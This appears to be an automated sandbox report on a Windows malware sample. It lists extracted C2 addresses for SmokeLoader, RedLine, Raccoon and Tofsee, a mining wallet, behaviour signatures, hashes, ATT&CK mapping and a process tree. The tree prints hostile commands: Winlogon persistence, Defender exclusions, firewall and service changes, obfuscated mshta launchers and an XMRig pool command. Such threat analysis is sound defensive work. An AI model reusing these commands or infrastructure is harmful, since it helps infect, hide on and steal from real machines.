Analysis

  • max time kernel
    152s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    08-11-2021 16:13

General

  • Target

    9d7e314361860f13fbc4e7c226aa9e8191d916dde45802597a7bb6e794a2f218.exe

  • Size

    228KB

  • MD5

    c0b25d240cc48677dd24e0e20c539deb

  • SHA1

    f70b06661ad931c2fd77b2ba017991bb4bb2a14e

  • SHA256

    9d7e314361860f13fbc4e7c226aa9e8191d916dde45802597a7bb6e794a2f218

  • SHA512

    fa946e269ef81983d785845a3fbc50ce5559e3626e2ceb32644a7340cc351742aeab55f421dafa512606c51262eb0737d593d54eaf514ebe696ec4aa24cf0c06

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://nalirou70.top/

http://xacokuo80.top/

http://nusurtal4f.net/

http://netomishnetojuk.net/

http://escalivrouter.net/

http://nick22doom4.net/

http://wrioshtivsio.su/

http://nusotiso4.su/

http://rickkhtovkka.biz/

http://palisotoliso.net/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Extracted

Family

redline

Botnet

new2

C2

93.115.20.139:28978

Extracted

Family

redline

Botnet

SuperStar

C2

185.215.113.29:36224

Extracted

Family

raccoon

Version

1.8.3

Botnet

a741159db87f9df2b687764994c63c4c859ea476

Attributes
  • url4cnc

    http://178.23.190.57/hiioBlacklight1

    http://91.219.236.162/hiioBlacklight1

    http://185.163.47.176/hiioBlacklight1

    http://193.38.54.238/hiioBlacklight1

    http://74.119.192.122/hiioBlacklight1

    http://91.219.236.240/hiioBlacklight1

    https://t.me/hiioBlacklight1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

8dec62c1db2959619dca43e02fa46ad7bd606400

Attributes
  • url4cnc

    http://telegin.top/capibar

    http://ttmirror.top/capibar

    http://teletele.top/capibar

    http://telegalive.top/capibar

    http://toptelete.top/capibar

    http://telegraf.top/capibar

    https://t.me/capibar

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

zolosad

C2

65.108.55.203:56717

Signatures

  • Detected Djvu ransomware 1 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Known Sinkhole Response Header

    suricata: ET MALWARE Known Sinkhole Response Header

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Nirsoft 12 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 22 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 12 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 14 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9d7e314361860f13fbc4e7c226aa9e8191d916dde45802597a7bb6e794a2f218.exe
    "C:\Users\Admin\AppData\Local\Temp\9d7e314361860f13fbc4e7c226aa9e8191d916dde45802597a7bb6e794a2f218.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4300
    • C:\Users\Admin\AppData\Local\Temp\9d7e314361860f13fbc4e7c226aa9e8191d916dde45802597a7bb6e794a2f218.exe
      "C:\Users\Admin\AppData\Local\Temp\9d7e314361860f13fbc4e7c226aa9e8191d916dde45802597a7bb6e794a2f218.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2120
  • C:\Users\Admin\AppData\Local\Temp\75C8.exe
    C:\Users\Admin\AppData\Local\Temp\75C8.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4404
    • C:\Users\Admin\AppData\Local\Temp\75C8.exe
      C:\Users\Admin\AppData\Local\Temp\75C8.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:4480
  • C:\Users\Admin\AppData\Local\Temp\D406.exe
    C:\Users\Admin\AppData\Local\Temp\D406.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4492
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hmwhkwub\
      2⤵
        PID:620
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mixxcjpg.exe" C:\Windows\SysWOW64\hmwhkwub\
        2⤵
          PID:1180
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hmwhkwub binPath= "C:\Windows\SysWOW64\hmwhkwub\mixxcjpg.exe /d\"C:\Users\Admin\AppData\Local\Temp\D406.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1504
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description hmwhkwub "wifi internet conection"
            2⤵
              PID:2148
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start hmwhkwub
              2⤵
                PID:2772
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3752
              • C:\Users\Admin\AppData\Local\Temp\E482.exe
                C:\Users\Admin\AppData\Local\Temp\E482.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1564
              • C:\Windows\SysWOW64\hmwhkwub\mixxcjpg.exe
                C:\Windows\SysWOW64\hmwhkwub\mixxcjpg.exe /d"C:\Users\Admin\AppData\Local\Temp\D406.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3204
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:4908
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1256
              • C:\Users\Admin\AppData\Local\Temp\F03B.exe
                C:\Users\Admin\AppData\Local\Temp\F03B.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:5004
              • C:\Users\Admin\AppData\Local\Temp\163.exe
                C:\Users\Admin\AppData\Local\Temp\163.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4920
                • C:\Users\Admin\AppData\Local\Temp\163.exe
                  C:\Users\Admin\AppData\Local\Temp\163.exe
                  2⤵
                  • Executes dropped EXE
                  PID:5008
              • C:\Users\Admin\AppData\Local\Temp\1E23.exe
                C:\Users\Admin\AppData\Local\Temp\1E23.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1320
                • C:\Users\Admin\AppData\Local\Temp\1E23.exe
                  C:\Users\Admin\AppData\Local\Temp\1E23.exe
                  2⤵
                  • Executes dropped EXE
                  PID:892
              • C:\Users\Admin\AppData\Local\Temp\2D18.exe
                C:\Users\Admin\AppData\Local\Temp\2D18.exe
                1⤵
                • Executes dropped EXE
                PID:1184
              • C:\Users\Admin\AppData\Local\Temp\48CF.exe
                C:\Users\Admin\AppData\Local\Temp\48CF.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:3032
              • C:\Users\Admin\AppData\Local\Temp\5226.exe
                C:\Users\Admin\AppData\Local\Temp\5226.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2156
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4092
              • C:\Users\Admin\AppData\Local\Temp\6988.exe
                C:\Users\Admin\AppData\Local\Temp\6988.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2192
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2220
                  • C:\Windows\SysWOW64\ipconfig.exe
                    "C:\Windows\system32\ipconfig.exe" /release
                    3⤵
                    • Gathers network information
                    PID:2768
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4460
                  • C:\Windows\SysWOW64\PING.EXE
                    "C:\Windows\system32\PING.EXE" twitter.com
                    3⤵
                    • Runs ping.exe
                    PID:3144
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
                  2⤵
                    PID:2456
                    • C:\Windows\SysWOW64\PING.EXE
                      "C:\Windows\system32\PING.EXE" twitter.com
                      3⤵
                      • Runs ping.exe
                      PID:1060
                • C:\Users\Admin\AppData\Local\Temp\78BB.exe
                  C:\Users\Admin\AppData\Local\Temp\78BB.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1664
                  • C:\Windows\SysWOW64\cmd.exe
                    "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
                    2⤵
                      PID:1144
                      • C:\Windows\SysWOW64\reg.exe
                        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
                        3⤵
                        • Modifies WinLogon for persistence
                        PID:4872
                    • C:\Users\Admin\AppData\Local\chromedrlver.exe
                      "C:\Users\Admin\AppData\Local\chromedrlver.exe"
                      2⤵
                        PID:5652
                    • C:\Users\Admin\AppData\Local\Temp\8AAE.exe
                      C:\Users\Admin\AppData\Local\Temp\8AAE.exe
                      1⤵
                      • Executes dropped EXE
                      • Drops startup file
                      • Windows security modification
                      PID:2036
                      • C:\Users\Admin\AppData\Local\Temp\155ad363-dd35-4695-8ce0-1141c6a8d52f\AdvancedRun.exe
                        "C:\Users\Admin\AppData\Local\Temp\155ad363-dd35-4695-8ce0-1141c6a8d52f\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\155ad363-dd35-4695-8ce0-1141c6a8d52f\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                        2⤵
                        • Executes dropped EXE
                        PID:4716
                        • C:\Users\Admin\AppData\Local\Temp\155ad363-dd35-4695-8ce0-1141c6a8d52f\AdvancedRun.exe
                          "C:\Users\Admin\AppData\Local\Temp\155ad363-dd35-4695-8ce0-1141c6a8d52f\AdvancedRun.exe" /SpecialRun 4101d8 4716
                          3⤵
                          • Executes dropped EXE
                          PID:2356
                      • C:\Users\Admin\AppData\Local\Temp\61b1c38f-0257-437d-bcd2-33ac43820693\AdvancedRun.exe
                        "C:\Users\Admin\AppData\Local\Temp\61b1c38f-0257-437d-bcd2-33ac43820693\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\61b1c38f-0257-437d-bcd2-33ac43820693\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                        2⤵
                        • Executes dropped EXE
                        PID:3680
                        • C:\Users\Admin\AppData\Local\Temp\61b1c38f-0257-437d-bcd2-33ac43820693\AdvancedRun.exe
                          "C:\Users\Admin\AppData\Local\Temp\61b1c38f-0257-437d-bcd2-33ac43820693\AdvancedRun.exe" /SpecialRun 4101d8 3680
                          3⤵
                          • Executes dropped EXE
                          PID:1908
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\8AAE.exe" -Force
                        2⤵
                          PID:2076
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\8AAE.exe" -Force
                          2⤵
                            PID:2176
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\8AAE.exe" -Force
                            2⤵
                              PID:4928
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                              2⤵
                                PID:1372
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                2⤵
                                  PID:2524
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\8AAE.exe" -Force
                                  2⤵
                                    PID:3688
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    PID:740
                                    • C:\Users\Admin\AppData\Local\Temp\1cdd34a0-da25-4320-9a7a-8d018326877b\AdvancedRun.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1cdd34a0-da25-4320-9a7a-8d018326877b\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\1cdd34a0-da25-4320-9a7a-8d018326877b\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                      3⤵
                                        PID:2172
                                        • C:\Users\Admin\AppData\Local\Temp\1cdd34a0-da25-4320-9a7a-8d018326877b\AdvancedRun.exe
                                          "C:\Users\Admin\AppData\Local\Temp\1cdd34a0-da25-4320-9a7a-8d018326877b\AdvancedRun.exe" /SpecialRun 4101d8 2172
                                          4⤵
                                            PID:4496
                                        • C:\Users\Admin\AppData\Local\Temp\f2c71d45-dd83-4783-b6d2-883b79f6fb3c\AdvancedRun.exe
                                          "C:\Users\Admin\AppData\Local\Temp\f2c71d45-dd83-4783-b6d2-883b79f6fb3c\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\f2c71d45-dd83-4783-b6d2-883b79f6fb3c\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                          3⤵
                                            PID:1220
                                            • C:\Users\Admin\AppData\Local\Temp\f2c71d45-dd83-4783-b6d2-883b79f6fb3c\AdvancedRun.exe
                                              "C:\Users\Admin\AppData\Local\Temp\f2c71d45-dd83-4783-b6d2-883b79f6fb3c\AdvancedRun.exe" /SpecialRun 4101d8 1220
                                              4⤵
                                                PID:1936
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                              3⤵
                                                PID:4644
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                3⤵
                                                  PID:4916
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                  3⤵
                                                    PID:4796
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                    3⤵
                                                      PID:5172
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                      3⤵
                                                        PID:5304
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                        3⤵
                                                          PID:5448
                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
                                                          3⤵
                                                            PID:5868
                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
                                                            3⤵
                                                              PID:5980
                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                                              3⤵
                                                                PID:2380
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                              2⤵
                                                                PID:4936
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\8AAE.exe" -Force
                                                                2⤵
                                                                  PID:808
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                  2⤵
                                                                    PID:2180
                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
                                                                    2⤵
                                                                      PID:4352
                                                                  • C:\Users\Admin\AppData\Local\Temp\AD4B.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\AD4B.exe
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    PID:4580
                                                                    • C:\Users\Admin\AppData\Local\Temp\AD4B.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\AD4B.exe
                                                                      2⤵
                                                                        PID:1804
                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                          icacls "C:\Users\Admin\AppData\Local\d4316b6b-db96-413d-bc9b-7088716371e5" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          PID:6100
                                                                    • C:\Users\Admin\AppData\Local\Temp\BBE2.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\BBE2.exe
                                                                      1⤵
                                                                        PID:2400
                                                                      • C:\Users\Admin\AppData\Local\Temp\C7D9.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\C7D9.exe
                                                                        1⤵
                                                                          PID:1264
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1264 -s 420
                                                                            2⤵
                                                                            • Program crash
                                                                            PID:4812
                                                                        • C:\Users\Admin\AppData\Local\Temp\D558.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\D558.exe
                                                                          1⤵
                                                                            PID:5052
                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                              "C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE ( CrEATEOBJECT ( "WscriPT.ShEll" ). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\D558.exe"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF """" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\D558.exe"" ) do taskkill /im ""%~nXQ"" -f ", 0 ,TRUe ) )
                                                                              2⤵
                                                                                PID:5184
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\D558.exe" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "" =="" for %Q iN ( "C:\Users\Admin\AppData\Local\Temp\D558.exe" ) do taskkill /im "%~nXQ" -f
                                                                                  3⤵
                                                                                    PID:5792
                                                                                    • C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE
                                                                                      ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7
                                                                                      4⤵
                                                                                        PID:4588
                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                          "C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE ( CrEATEOBJECT ( "WscriPT.ShEll" ). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF ""-pEu3VPItrF6pCIFoPfAdI7 "" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ) do taskkill /im ""%~nXQ"" -f ", 0 ,TRUe ) )
                                                                                          5⤵
                                                                                            PID:5784
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "-pEu3VPItrF6pCIFoPfAdI7 " =="" for %Q iN ( "C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ) do taskkill /im "%~nXQ" -f
                                                                                              6⤵
                                                                                                PID:208
                                                                                    • C:\Users\Admin\AppData\Local\Temp\ED65.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\ED65.exe
                                                                                      1⤵
                                                                                        PID:5604
                                                                                      • C:\Users\Admin\AppData\Local\Temp\F035.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\F035.exe
                                                                                        1⤵
                                                                                          PID:5704
                                                                                        • C:\Users\Admin\AppData\Local\Temp\2FBF.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\2FBF.exe
                                                                                          1⤵
                                                                                            PID:5848

                                                                                          Network

                                                                                          MITRE ATT&CK Matrix ATT&CK v6

                                                                                          Execution

                                                                                          Command-Line Interface

                                                                                          1
                                                                                          T1059

                                                                                          Persistence

                                                                                          Winlogon Helper DLL

                                                                                          1
                                                                                          T1004

                                                                                          New Service

                                                                                          1
                                                                                          T1050

                                                                                          Modify Existing Service

                                                                                          1
                                                                                          T1031

                                                                                          Registry Run Keys / Startup Folder

                                                                                          1
                                                                                          T1060

                                                                                          Privilege Escalation

                                                                                          New Service

                                                                                          1
                                                                                          T1050

                                                                                          Defense Evasion

                                                                                          Modify Registry

                                                                                          5
                                                                                          T1112

                                                                                          Disabling Security Tools

                                                                                          3
                                                                                          T1089

                                                                                          File Permissions Modification

                                                                                          1
                                                                                          T1222

                                                                                          Credential Access

                                                                                          Credentials in Files

                                                                                          2
                                                                                          T1081

                                                                                          Discovery

                                                                                          Query Registry

                                                                                          2
                                                                                          T1012

                                                                                          System Information Discovery

                                                                                          3
                                                                                          T1082

                                                                                          Peripheral Device Discovery

                                                                                          1
                                                                                          T1120

                                                                                          Remote System Discovery

                                                                                          1
                                                                                          T1018

                                                                                          Collection

                                                                                          Data from Local System

                                                                                          2
                                                                                          T1005

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                            MD5

                                                                                            0f5cbdca905beb13bebdcf43fb0716bd

                                                                                            SHA1

                                                                                            9e136131389fde83297267faf6c651d420671b3f

                                                                                            SHA256

                                                                                            a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060

                                                                                            SHA512

                                                                                            a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                            MD5

                                                                                            c2d06c11dd1f1a8b1dedc1a311ca8cdc

                                                                                            SHA1

                                                                                            75c07243f9cb80a9c7aed2865f9c5192cc920e7e

                                                                                            SHA256

                                                                                            91ac15f1f176f74f02ce89ecdc443d8e33e0064c7bc69a87c7b2da145449d586

                                                                                            SHA512

                                                                                            db00860292c3e7430b1534f459c2f0f9778df3a94c51d622dcf1cde390a5539bdc6d60a0d41e6f1ed99a989f17ecb109abd4c17faac4cd398945536f1d0ebb4d

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                            MD5

                                                                                            cd43722c7ca7d3526228a3faf7cbd016

                                                                                            SHA1

                                                                                            85e8466d8aee4d24d71f3585603fc03221d43eb0

                                                                                            SHA256

                                                                                            1f2b1f373591021945a0954344bb1b2fc65aacd6f1e403b072206c31a065b2ad

                                                                                            SHA512

                                                                                            7498d17af0bd0bebb08741ab02f9d0cd8e2150aa8624eee18c685cb1c7fce9f544440d89998fe49cf4042b5ddb41273fa14216fed0cef54b97d815ad46de76f0

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                            MD5

                                                                                            cd43722c7ca7d3526228a3faf7cbd016

                                                                                            SHA1

                                                                                            85e8466d8aee4d24d71f3585603fc03221d43eb0

                                                                                            SHA256

                                                                                            1f2b1f373591021945a0954344bb1b2fc65aacd6f1e403b072206c31a065b2ad

                                                                                            SHA512

                                                                                            7498d17af0bd0bebb08741ab02f9d0cd8e2150aa8624eee18c685cb1c7fce9f544440d89998fe49cf4042b5ddb41273fa14216fed0cef54b97d815ad46de76f0

